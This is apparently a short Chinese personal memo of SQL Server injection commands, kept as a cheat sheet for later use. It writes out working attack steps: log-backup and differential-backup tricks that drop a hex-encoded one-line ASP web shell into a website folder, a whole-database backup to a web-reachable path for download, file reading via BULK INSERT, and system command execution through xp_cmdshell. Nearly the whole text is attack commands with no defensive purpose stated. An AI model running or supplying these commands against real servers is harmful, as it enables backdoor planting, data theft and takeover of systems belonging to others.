SQL SERVER 日志备份shell语句
今天要用到,突然一下子想不起来了,写这里,以防下次又想不起来
--drop table tt; backup log job1203 to disk= 'F:\网站\人才网\ys_admin\files\2022-09\20220906190916860.rar' with init; create table tt(a text); insert into tt(a) values('aaaa'); backup log job1203 to disk= 'F:\网站\人才网\ys_admin\files\2022-09\20220906190916860.txt'; drop table tt;
打包数据库 backup database Erp to disk='D:\Web\Erp\wwwroot\Content\_xxx.rar';
下载后在本地还原即可。
读取服务器文件:
--create table cmd(a text);
bulk insert cmd from 'C:\Users\xx\output\xxx\dump\LHMY\result.txt'
(2860 行受影响)
完成时间: 20XX-03-06T16:58:51.3389710+08:00
这样,文件内容就被读取到表里面了。但是,一般可能没有bulk权限。
执行命令
exec master ..xp_cmdshell 'dir d:\'
exec Erp ..xp_cmdshell 'dir d:\'
十六进制差异备份
0x3C25657865637574652872657175657374282261222929253E 就是一句话木马的内容:<%execute(request("a"))%>
开始
backup database Erp to disk ='E:\wwwroot\cc.bak';-- 备份数据库,打一个快照。
create table [dbo].[dtest] ([cmd][image]);-- 建一个表
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);-- 写入内容
backup database Erp to disk='E:\wwwroot\d.asp' WITH DIFFERENTIAL,FORMAT;-- 差异备份到物理目录中去。